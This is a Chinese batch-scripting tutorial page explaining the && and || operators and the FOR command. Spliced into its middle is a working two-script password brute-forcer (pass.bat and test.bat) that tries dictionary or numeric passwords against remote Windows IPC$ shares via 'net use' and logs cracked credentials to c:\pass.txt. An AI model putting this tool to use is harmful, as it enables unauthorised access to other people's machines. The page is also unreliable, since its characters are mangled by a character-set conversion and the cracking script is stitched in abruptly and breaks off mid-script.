批處理經(jīng)典入門教程!(從不懂到高手)第4/5頁
更新時間:2007年02月23日 00:00:00 作者:
寫這篇教程的目的,是讓每一個看過這些文字的朋友記住一句話:如果愛可以讓事情變的更簡單,那么就讓它簡單吧!看這篇教程的方法
15、&&
切記,這里介紹的幾個命令都是組合命令,所以他們前后都必須都有其他命令(要不如何組合?)。這個命令也不例外,它可以把它前后兩個命令組合起來當(dāng)一個命令來用,與&命令不同之處在于,它在從前往后依次執(zhí)行被它連接的幾個命令時會自動判斷是否有某個命令執(zhí)行出錯,一旦發(fā)現(xiàn)出錯后將不繼續(xù)執(zhí)行后面剩下的命令。這就為我們自動化完成一些任務(wù)提供了方便。例十七:
dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www
如果遠(yuǎn)程主機存在user.mdb,則copy到本地e:\backup\www,如果不存在當(dāng)然就不執(zhí)行copy了。這句對搞網(wǎng)管的朋友是否有點用呢?呵呵。其實它和下面這句的作用是一樣的:
if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www
至于你喜歡用哪個就隨便了,我沒辦法判斷dir和if兩個命令哪一個執(zhí)行效率更高,所以不知道用哪個更好,呵呵。
你是否還記得“有些命令是不能同時執(zhí)行的”?你是否相信這句話?當(dāng)然得相信,不信就給你出道題:把C盤和D盤的文件和文件夾列出到a.txt文件中。你將如何來搞定這道題?有朋友說,這還不是很easy的問題嗎?同時執(zhí)行兩個dir,然后把得到的結(jié)果>到a.txt里就ok了嘛,看例十八:
dir c:\ && dir d:\ > a.txt
仔細(xì)研究一下這句執(zhí)行后的結(jié)果,看看是否能達到題目的要求!錯了!這樣執(zhí)行后a.txt里只有D盤的信息!為什么?就因為這里&&命令和>命令不能同時出現(xiàn)一個句子里(批處理把一行看成一個句子)??!組合命令&&的優(yōu)先級沒有管道命令>的優(yōu)先級高(自己總結(jié)的,不妥的地方請指正)!所以這句在執(zhí)行時將本分成這兩部分:dir c:\和dir d:\ > a.txt,而并不是如你想的這兩部分:dir c:\ && dir d:\和> a.txt。要使用組合命令&&達到題目的要求,必須得這么寫:
dir c:\ > a.txt && dir d:\ >> a.txt
這樣,依據(jù)優(yōu)先級高低,DOS將把這句話分成以下兩部分:dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的幾句的差別比較特殊,值得好好研究體會一下。
當(dāng)然這里還可以利用&命令(自己想一下道理哦):
dir c:\ > a.txt & dir d:\ >> a.txt
16、||
這個命令的用法和&&幾乎一樣,但作用剛好和它相反:利用這種方法在執(zhí)行多條命令時,當(dāng)遇到一個執(zhí)行正確的命令就退出此命令組合,不再繼續(xù)執(zhí)行下面的命令。題目:查看當(dāng)前目錄下是否有以s開頭的exe文件,如果有則退出。例十九:
@echo off
dir s*.exe || exit
其實這個例子是有破綻的,你看出來了嗎?其實很簡單,自己試試就知道了嘛:如果存在那個exe文件,就退出;如果不存在那個exe文件,也退出!為什么?因為如果不存在那個.exe文件,則前一條命令dir s*.exe執(zhí)行肯定是不成功的,所以就繼續(xù)執(zhí)行exit,自然就退出了,呵呵。那么如何解決題目給出的問題呢?看例二十:
@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit
這樣執(zhí)行的結(jié)果,就能達到題目的要求,是否存在s*.exe將出現(xiàn)兩種結(jié)果。這里加暫停的意思,當(dāng)然是讓你能看到echo輸出的內(nèi)容,否則一閃而過的窗口,echo就白寫了。
給出兩個更好研究優(yōu)先級(同時也是更難理解)的腳本,仔細(xì)研究它們的區(qū)別,以便徹底理解各種命令的優(yōu)先級順序,對以后自己利用這些命令寫腳本有很大的好處----不會出錯!OK,請看例二十一和例二十二:
例二十一:
@echo off
dir a.ttt /a & dir a.txt || exit
例二十二:
@echo off
dir a.ttt /a && dir a.txt || exit
警告:患有心腦血管病的朋友請不要研究以上兩例,否則輕者頭大如斗,重者血管爆裂。任何人由于研究這兩個腳本的區(qū)別而造成的任何事故由自己或其合法監(jiān)護人負(fù)責(zé),與本人和本論壇無關(guān)。特此警告!
有關(guān)管道命令和組合命令就大概介紹到這里了,不知道聰明的你是否理解?呵呵,能理解就成天才了,除非你以前就已經(jīng)掌握!千萬別小看了這幾個鬼命令,大棒槌是我的說,簡直就不是人學(xué)的東西!但我還是靜下心來研究了一番,最后得出的結(jié)論如上所述,已經(jīng)一點不剩的交給你了,希望你好好收藏并消化吸收,當(dāng)然有錯誤被你發(fā)現(xiàn)了,或者不完整的地方被你看出來了,請趕緊告訴我一聲!
這幾個命令真的把我的頭都搞大了。在網(wǎng)上有一篇流傳很廣的批處理教程:“簡明批處理教程”,雖然說的比較全面,但看起來很不過癮。在對for等命令介紹時就一個for /? > a.txt & start a.txt完事了(當(dāng)然這一點上我不能說人家什么,畢竟我連for /?都沒給出),而對上述管道命令和組合命令、以及這篇教程以后將講到的用批處理好啊作注冊表等方面根本沒有介紹。我之所以花整整一章來講管道命令和組合命令,是因為他們才是批處理的精華和靈魂,能否正確利用好這幾個命令,是能否掌握批處理的前提條件。如for、set等DOS命令的問題,可以從DOS的角度出發(fā)專門有針對性的學(xué)習(xí),但有關(guān)這幾個命令的問題,卻是不容易精通掌握的----他們之間的關(guān)系太復(fù)雜了!
將下列代碼存為bat文件
1、如果用字典破解:pass.bat 字典文件路徑及名稱 主機 用戶名
2、如果用數(shù)字破解:pass.bat 起始數(shù) 步長 結(jié)束數(shù) 主機 用戶名
密碼破解出來之后,存放于c:\pass.txt文件里面。
將下列代碼存為pass.bat文件
復(fù)制代碼 代碼如下:
@echo off
echo ------------------------------------------------------------------- >>c:\pass.txt
echo ------------------------------------------------------------------- >>c:\pass.txt
date /t >>c:\pass.txt
time /t >>c:\pass.txt
echo 破解結(jié)果: >>c:\pass.txt
if "%6"=="1" goto 大棒槌是我的說2
:大棒槌是我的說1
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的說2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
將下列代碼存為test.bat
net use \\%1\ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命令執(zhí)行返回結(jié)果,net use成功返回0,失敗返回2
:answer0
echo 遠(yuǎn)程主機:"%1" >>c:\pass.txt
echo 用 戶:"%3" >>c:\pass.txt
echo 密 碼:%2 >>c:\pass.txt
net use \\%1\ipc$ /delet
exit
:answer2
For
對一組文件中的每個文件運行指定的命令。
可以在批處理程序中或直接從命令提示符使用 for 命令。
要在批處理程序中使用 for 命令,請使用以下語法:
for %%variable in (set) docommand [command-parameters]
要在命令提示符下使用 for,請使用以下語法:
for %variable in (set) do command [command-parameters]
參數(shù)
%%variable 或 %variable
代表可替換的參數(shù)。for 命令使用在 set 中指定的每個文本字符串替換 %%variable(或 %variable),直到此命令(在command-parameters 中指定)處理所有的文件為止。使用 %% variable 在批處理程序中執(zhí)行 for 命令。使用 %
variable 通過命令提示符執(zhí)行 for 命令。變量名區(qū)分大小寫。
(set)
指定要用指定的命令處理的一個或多個文件或文本字符串。需要括號。
command
指定要在指定的 set 所包含的每個文件上執(zhí)行的命令。
command-parameters
指定要用于指定命令(如果指定的命令要使用任何參數(shù)或開關(guān))的任何參數(shù)或開關(guān)。
如果啟用了命令擴展(Windows 2000 中的默認(rèn)設(shè)置),將支持 for 命令的其他形式。
For 命令的其他形式
如果啟用了命令擴展,將支持如下 for 命令的其他格式:
只限于目錄
for /D [%% | %]variable in (set) docommand [command-parameters]
如果 set 包含通配符(* 和 ?),則指定與目錄名匹配,而不是文件名。
遞歸
for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]
進入根目錄樹[drive:]path,在樹的每個目錄中執(zhí)行 for 語句。如果在 /R 后沒有指定目錄,則假定為當(dāng)前目錄。如果
set 只是一個句號 (.) 字符,則只列舉目錄樹。
迭代
for /L [%% | %]variable in (start,step,end) do command [command-parameters]
集合是一系列按步長量劃分的、從頭到尾的數(shù)字。這樣,(1,1,5) 將生成序列 1 2 3 4 5,而 (5,-1,1) 將生成序列 (5
4 3 2 1)。
文件解析
for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters]
for /F ["options"] [%% | %]variable in ('command') do command [command-parameters]
或者,如果出現(xiàn) usebackq 選項:
for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ('literal string') do command [command-parameters]
for /F ["options"] [%% | %]variable in (`command`) docommand [command-parameters]
filenameset 參數(shù)指定一個或多個文件名稱。在繼續(xù)到 filenameset 中的下一個文件之前,每個文件都會被打開、讀取和處理。
過程由讀取文件、分成獨立的文本行及然后將每行解析成零個或更多個令牌組成。然后使用設(shè)置為找到的一個或多個令牌字符串的變量值(或多個值)集合調(diào)用 for 循環(huán)體。默認(rèn)情況下,/F 傳遞每個文件每一行的第一個空白分隔符號。
跳過空行。通過指定可選的“options”參數(shù)可以覆蓋默認(rèn)的解析行為。這是一個引用字符串,它包含一個或多個關(guān)鍵字
以指定不同的解析選項。關(guān)鍵字是:
關(guān)鍵字 說明
eol=c 指定行尾注釋字符(只一個字符)
skip=n 指定在文件的開頭跳過的行數(shù)。
delims=xxx 指定定界符集合。這將替換空格和制表符的默認(rèn)分隔符集。
tokens=x,y,m-n 指定將令牌從每行傳遞到每個反復(fù)的正文。這將導(dǎo)致分配其他變量名。m-n 格式是一個范圍,指定從mth 到 nth 的令牌。如果在令牌 = 字符串中最后一個字符是星號,則將分配附加的變量,并在解析最后一個令牌后在行
上接收剩余的文本。
usebackq 指定將右引號字符串作為命令執(zhí)行,單引號字符串是文字字符串命令,您可以使用雙引號包括 filenameset 中的文件名。
變量替換
您可能感興趣的文章:
- windows批處理命令教程
- bat批處理 if 命令示例詳解
- 批處理 Set 命令詳解 讓你理解set命令
- BAT批處理中的字符串處理詳解(字符串截取)
- 批處理命令Start的使用介紹
- 批處理bat設(shè)置固定IP地址和自動IP地址
- Windows下用命令行修改IP地址的方法詳解(附批處理文件)
- 批處理獲取網(wǎng)卡名稱的代碼(附修改IP、網(wǎng)關(guān)、DNS腳本)
- 獲取外網(wǎng)IP地址的批處理代碼
- 批處理、VBS實現(xiàn)自動設(shè)置IP、默認(rèn)網(wǎng)關(guān)、DNS、WINS、IE代理(全)
- IP地址自動設(shè)置的批處理代碼分享
- 批處理實例下載
相關(guān)文章
批處理中Copy與Xcopy命令的區(qū)別小結(jié)
本文介紹下,批處理腳本中,copy命令與xcopy命令在用法上的一些區(qū)別,感興趣的朋友可以參考下2014-05-05批處理完美實現(xiàn)FTP遠(yuǎn)程備份數(shù)據(jù)
本文給大家分享的是實現(xiàn)使用FTP遠(yuǎn)程備份數(shù)據(jù)到本地的批處理腳本,非常的簡單實用,有需要的小伙伴可以參考下。2015-09-09用批處理網(wǎng)絡(luò)映射驅(qū)動器后自動修改磁盤卷標(biāo)名腳本
于一些企業(yè),內(nèi)網(wǎng)的文件服務(wù)器和傳真服務(wù)器非常常見。為了方便,網(wǎng)絡(luò)管理員一般會把服務(wù)器上一些的文件夾他們映射為本地磁盤,方便用戶使用。2011-08-08